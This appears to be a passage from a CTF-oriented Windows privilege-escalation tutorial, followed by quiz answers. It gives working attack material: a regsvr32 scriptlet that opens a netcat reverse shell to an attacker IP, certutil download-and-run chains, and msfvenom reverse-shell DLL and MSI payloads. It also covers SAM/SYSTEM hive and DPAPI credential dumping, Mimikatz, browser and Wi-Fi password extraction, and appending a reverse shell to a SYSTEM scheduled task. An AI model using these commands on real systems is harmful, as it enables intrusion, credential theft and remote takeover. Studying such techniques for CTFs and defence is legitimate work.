Regsvr32 can download and execute SCT (scriptlet) files from a remote URL, bypassing AppLocker entirely:

# On your attacker machine, host a malicious SCT file:
# shell.sct:
<?XML version="1.0"?>
<scriptlet>
  <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
      <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c C:\\temp\\nc.exe 10.10.14.5 4444 -e cmd.exe");
      ]]>
    </script>
  </registration>
</scriptlet>

# On target:
regsvr32 /s /n /u /i:http://10.10.14.5:8000/shell.sct scrobj.dll
# /s = silent, /n = don't call DllRegisterServer, /u = unregister (calls Uninstall)
# /i = specifies the remote SCT URL

CertUtil Bypass

CertUtil is a legitimate Windows certificate management tool that can download files and decode Base64, making it useful for both file transfer and AppLocker bypass:

# Download a file (bypasses many web filters):
certutil -urlcache -split -f http://10.10.14.5:8000/shell.exe C:\temp\shell.exe

# Decode a base64-encoded payload:
certutil -decode encoded_payload.txt decoded_shell.exe

# Encode a file (for exfiltration):
certutil -encode C:\sensitive\file.txt encoded.txt

# CertUtil + MSBuild combo:
# 1. Download the .csproj with certutil
certutil -urlcache -split -f http://10.10.14.5:8000/shell.csproj C:\temp\shell.csproj
# 2. Execute with MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\shell.csproj

🗝️ Windows Credential Storage

Windows stores credentials in numerous locations. Understanding where passwords and hashes live is essential for both privilege escalation and lateral movement. Here's a full tour of every credential store.

SAM, SYSTEM, and SECURITY Hives

The SAM (Security Account Manager) database stores the password hashes (scrambled versions of passwords) for all local user accounts. The SYSTEM hive stores the boot key that encrypts the SAM. The SECURITY hive stores cached domain credentials and LSA (Local Security Authority) secrets. Together, these three files are called "registry hives" — they're the binary database files that make up the Windows registry. If you can get copies of both the SAM and SYSTEM files, you can extract every local user's password hash offline.

# SAM file location: C:\Windows\System32\config\SAM
# SYSTEM file location: C:\Windows\System32\config\SYSTEM
# SECURITY file location: C:\Windows\System32\config\SECURITY

# These files are LOCKED while Windows is running. Methods to access:

# Method 1: Volume Shadow Copy (requires admin)
wmic shadowcopy call create Volume='C:\'
# Then copy from the shadow:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY

# Method 2: reg save (requires admin)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY

# Method 3: Check for backup copies
dir C:\Windows\repair\SAM
dir C:\Windows\System32\config\RegBack\

# Extract hashes (on attacker machine):
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# Output: Administrator:500:aad3b435...:NTLM_HASH:::
# The NTLM hash can be used for Pass-the-Hash!

DPAPI — Data Protection API

DPAPI (Data Protection API) is Windows' built-in encryption system that protects data like saved browser passwords, Wi-Fi passwords, and credential manager entries. Each user has a master key derived from their login password that encrypts and decrypts their personal data. If you can get the master key (or are running as that user), you can decrypt everything they've saved.

# DPAPI Master Keys location:
# C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID\

# DPAPI-protected data locations:
# - Chrome passwords: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# - Edge passwords: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
# - Credential Manager: %APPDATA%\Microsoft\Credentials\
# - Wi-Fi profiles: C:\ProgramData\Microsoft\Wlansvc\Profiles\

# Decrypt with Mimikatz (requires SYSTEM or user's password):
# Step 1: Get the master key
sekurlsa::dpapi

# Step 2: Decrypt credential blobs
dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\GUID /masterkey:MASTER_KEY

# SharpDPAPI (automated):
.\SharpDPAPI.exe triage
# Automatically finds and decrypts all DPAPI-protected data

Credential Manager

# List stored credentials:
cmdkey /list
# If you see saved domain credentials, use runas /savecred

# Windows Vault (GUI equivalent of cmdkey):
rundll32 keymgr.dll,KRShowKeyMgr

# Credential Manager stores:
# - Web credentials (saved in browsers via Windows)
# - Windows credentials (RDP, network shares, etc.)
# Location: %APPDATA%\Microsoft\Credentials\

# Extract with Mimikatz:
vault::cred
# Or:
vault::list

Wi-Fi Passwords

# List saved Wi-Fi profiles:
netsh wlan show profiles

# Show password for a specific profile (requires admin):
netsh wlan show profile name="NetworkName" key=clear
# Look for: Key Content : TheWiFiPassword

# Export all profiles (including passwords) to XML:
netsh wlan export profile folder=C:\temp\ key=clear

# One-liner to dump all Wi-Fi passwords:
for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr "Profile"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr "Key Content"

Browser Passwords

# Chrome stores passwords in an SQLite database:
# %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# Encrypted with DPAPI (user's master key)

# Firefox stores passwords in:
# %APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.json
# Encrypted with a master password (often blank)

# Tools to extract browser passwords:
# - Mimikatz: dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"
# - SharpChromium: .\SharpChromium.exe logins
# - LaZagne: python3 laZagne.py browsers
# - HackBrowserData: .\hack-browser-data.exe

# From Linux (if you've extracted the files):
# Chrome: python3 chrome_decrypt.py Login\ Data
# Firefox: python3 firefox_decrypt.py

🏆 3 Detailed Windows CTF Walkthrough Examples

Example 1: Service Account → SeImpersonate → SYSTEM

The most common Windows privesc path in CTFs. You get a web shell as IIS and escalate via Potato attacks.

# ─── Step 1: Initial access via web exploit ──
# Exploit a file upload vulnerability to get a web shell
# Current user: IIS APPPOOL\DefaultAppPool

C:\inetpub\wwwroot> whoami
iis apppool\defaultapppool

C:\inetpub\wwwroot> whoami /priv
PRIVILEGES INFORMATION
SeImpersonatePrivilege        Impersonate a client           Enabled  ← TARGET

# ─── Step 2: Upload tools ──
# Use certutil to download tools (often the only transfer method that works):
certutil -urlcache -split -f http://10.10.14.5:8000/GodPotato.exe C:\temp\GodPotato.exe
certutil -urlcache -split -f http://10.10.14.5:8000/nc64.exe C:\temp\nc64.exe

# ─── Step 3: Escalate with GodPotato ──
# Set up listener: nc -lvnp 4444
C:\temp\GodPotato.exe -cmd "cmd /c C:\temp\nc64.exe 10.10.14.5 4444 -e cmd.exe"

# ─── Step 4: Verify SYSTEM access ──
C:\Windows\system32> whoami
nt authority\system

# ─── Step 5: Grab the flag and dump creds ──
type C:\Users\Administrator\Desktop\root.txt
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Transfer to attacker → extract hashes with impacket-secretsdump

Example 2: Stored Credentials → Scheduled Task → SYSTEM

A more nuanced path combining stored credentials with a writable scheduled task:

# ─── Step 1: Land as low-priv user ──────
C:\Users\webuser> whoami
target\webuser

C:\Users\webuser> whoami /priv
# No interesting privileges — basic user

# ─── Step 2: Enumerate stored credentials ──
C:\Users\webuser> cmdkey /list
    Target: Domain:interactive=target\svc_admin
    Type: Domain Password
    User: target\svc_admin

# svc_admin credentials are saved! Can we use them?
C:\Users\webuser> runas /savecred /user:target\svc_admin cmd
# A new cmd window opens as svc_admin!

# ─── Step 3: Enumerate as svc_admin ─────
C:\Users\svc_admin> whoami /groups
BUILTIN\Administrators    ← We're an admin but in a filtered context!

C:\Users\svc_admin> whoami /priv
# SeImpersonate is NOT here (not a service account)
# But we're in Administrators group...

# ─── Step 4: Check scheduled tasks ──────
C:\Users\svc_admin> schtasks /query /fo LIST /v | findstr /i "task to run\|run as"
Task To Run:   C:\Scripts\maintenance.bat
Run As User:   SYSTEM

C:\Users\svc_admin> icacls C:\Scripts\maintenance.bat
C:\Scripts\maintenance.bat BUILTIN\Administrators:(F)
# We have Full control!

# ─── Step 5: Modify the scheduled task script ──
C:\Users\svc_admin> echo C:\temp\nc64.exe 10.10.14.5 4444 -e cmd.exe >> C:\Scripts\maintenance.bat

# ─── Step 6: Wait for the task to execute (or trigger it) ──
C:\Users\svc_admin> schtasks /run /tn "Maintenance"
# Listener catches SYSTEM shell!

C:\Windows\system32> whoami
nt authority\system

Example 3: AlwaysInstallElevated + DLL Hijacking Chain

A multi-vector escalation where the first technique gives you admin, and the second gives you SYSTEM:

# ─── Step 1: Initial enumeration ────────
C:\Users\developer> whoami
target\developer

# Run WinPEAS:
C:\Users\developer> .\winPEASany.exe

# WinPEAS highlights TWO findings:
# [!] AlwaysInstallElevated set to 1 in HKLM AND HKCU
# [!] Service "CustomMonitor" has a missing DLL: C:\Program Files\Monitor\helper.dll
#     Service runs as: LocalSystem

# ─── Step 2: Exploit AlwaysInstallElevated ──
# Verify:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated    REG_DWORD    0x1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# AlwaysInstallElevated    REG_DWORD    0x1

# Create MSI that adds us to local Administrators:
msfvenom -p windows/x64/exec CMD='net localgroup Administrators developer /add' -f msi -o admin.msi

# Transfer and execute:
msiexec /quiet /qn /i C:\temp\admin.msi

# Verify:
net localgroup Administrators
# developer is now in Administrators!

# ─── Step 3: Now exploit the DLL hijack for SYSTEM ──
# We need admin to write to C:\Program Files\Monitor\
# (which we now have via AlwaysInstallElevated)

# Check the service:
sc qc CustomMonitor
# BINARY_PATH_NAME: C:\Program Files\Monitor\monitor.exe
# SERVICE_START_NAME: LocalSystem

# Create malicious DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o helper.dll

# Place it where the service expects it:
copy C:\temp\helper.dll "C:\Program Files\Monitor\helper.dll"

# Restart the service:
sc stop CustomMonitor
sc start CustomMonitor

# ─── Step 4: SYSTEM shell! ──────────────
C:\Windows\system32> whoami
nt authority\system

# Key insight: Sometimes you need to chain multiple techniques.
# AlwaysInstallElevated → local admin → DLL hijack → SYSTEM

📖 Further Reading

🏆 Section Assessment — Windows PrivEsc Mastery
Complete this PowerShell command to download a tool to a Windows target when PowerShell is blocked and you need an alternative method:
certutil is a legitimate Windows certificate utility that can download files — it works even when PowerShell is blocked by AppLocker or Constrained Language Mode. It's available on all Windows systems by default. wget and curl aren't natively available on older Windows. This is often the only file transfer method that works in restricted environments.
What does cmdkey /list reveal, and why is it useful for privilege escalation?
cmdkey /list shows credentials stored in Windows Credential Manager. If an admin previously saved their credentials (e.g., for RDP or network shares), you can use runas /savecred /user:admin cmd.exe to run commands as that admin — without knowing their password. This requires zero exploitation and is one of the easiest Windows privesc wins.
Both AlwaysInstallElevated registry keys must be set to 1 for the exploit to work. Which two registry hives must you check?
Both HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer and HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer must have AlwaysInstallElevated set to 1. HKLM is the machine-wide policy, HKCU is the user-level policy. When both are enabled, any MSI package installs with SYSTEM privileges. Generate a malicious MSI with msfvenom -p windows/x64/shell_reverse_tcp ... -f msi and install it with msiexec /quiet /qn /i evil.msi.
You're in the Administrators group but your commands still fail with "Access Denied". What is likely the issue?
UAC (User Account Control) gives admin users a "filtered" token by default. Even though you're in the Administrators group, your processes run with limited privileges until you explicitly elevate. In a reverse shell (no GUI), you can't click "Yes" on the UAC prompt, so you need a bypass technique like fodhelper.exe or eventvwr.exe registry hijacking to get an elevated context.
Complete this command to use PrintSpoofer for privilege escalation when you have SeImpersonatePrivilege:
.\PrintSpoofer64.exe -i -c cmd gives you an interactive (-i) SYSTEM shell by executing cmd (-c) with the impersonated SYSTEM token. PrintSpoofer works by abusing the Print Spooler service's named pipe. It's the go-to alternative when JuicyPotato doesn't work on newer Windows versions (10/Server 2016+).